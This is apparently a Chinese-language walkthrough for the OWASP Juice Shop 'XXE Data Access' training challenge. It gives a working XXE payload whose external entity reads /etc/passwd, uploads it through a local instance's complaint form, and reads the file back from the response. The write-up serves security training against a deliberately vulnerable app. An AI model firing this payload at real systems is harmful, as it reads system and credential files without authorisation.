# 【juice-shop】★★★ XXE Data Access：通过 XXE 读取服务器文件


# 【juice-shop】★★★ XXE Data Access：通过 XXE 读取服务器文件

## 0x01 任务简报

<blockquote style="border-left: 5px solid #6f42c1; background-color: #f5f3ff; padding: 20px; margin: 1.5rem 0; color: #5521b5; line-height: 1.8; border-radius: 0 5px 5px 0;">
<div style="font-weight: bold; font-size: 1.1rem; margin-bottom: 10px; display: flex; align-items: center;">
<span style="margin-right: 8px;">💡</span> 提示 (Hints)
</div>
1. 这项挑战的关键点是废弃的 B2B 接口。<br>
2. 这个挑战听起来比实际要难得多，这更凸显了其潜在漏洞的严重性。<br>
3. 研究典型的 XXE 攻击模式，基本上就能免费获得解决方案。
</blockquote>

---

## 0x02 实战：复现漏洞

### 📝 第一步：构造 XXE Payload

创建一个 XML 文件，包含 XXE（XML 外部实体）攻击 payload：

```bash
❯ vim 1.xml
```

**文件内容：**

```xml
<?xml version="1.0"?>
<!DOCTYPE xxe [
<!ELEMENT xxe ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<xxe>&xxe;</xxe>
```

**Payload 说明：**

| 部分 | 说明 |
|------|------|
| `<!DOCTYPE xxe [...]>` | 定义文档类型和实体 |
| `<!ENTITY xxe SYSTEM "file:///etc/passwd">` | **关键**：定义外部实体，指向 `/etc/passwd` 文件 |
| `<xxe>&xxe;</xxe>` | 在 XML 中引用该实体，触发文件读取 |

### 📤 第二步：上传 XXE 文件

打开投诉（Complaint）表单，选择刚创建的 `1.xml` 文件进行上传。

![投诉表单](../../../../../../public/p/juice-shop-xxe-data-access通过-xxe-读取服务器文件/assets/Pastedimage20260410150045.png)

### 🔍 第三步：查看响应

打开浏览器开发者工具（DevTools），查看网络请求：

```
XHR POST http://127.0.0.1:3000/file-upload
```

在响应或错误信息中，服务器会返回 `/etc/passwd` 文件的内容。

### ✅ 第四步：完成挑战

成功读取服务器上的敏感文件内容，挑战完成。

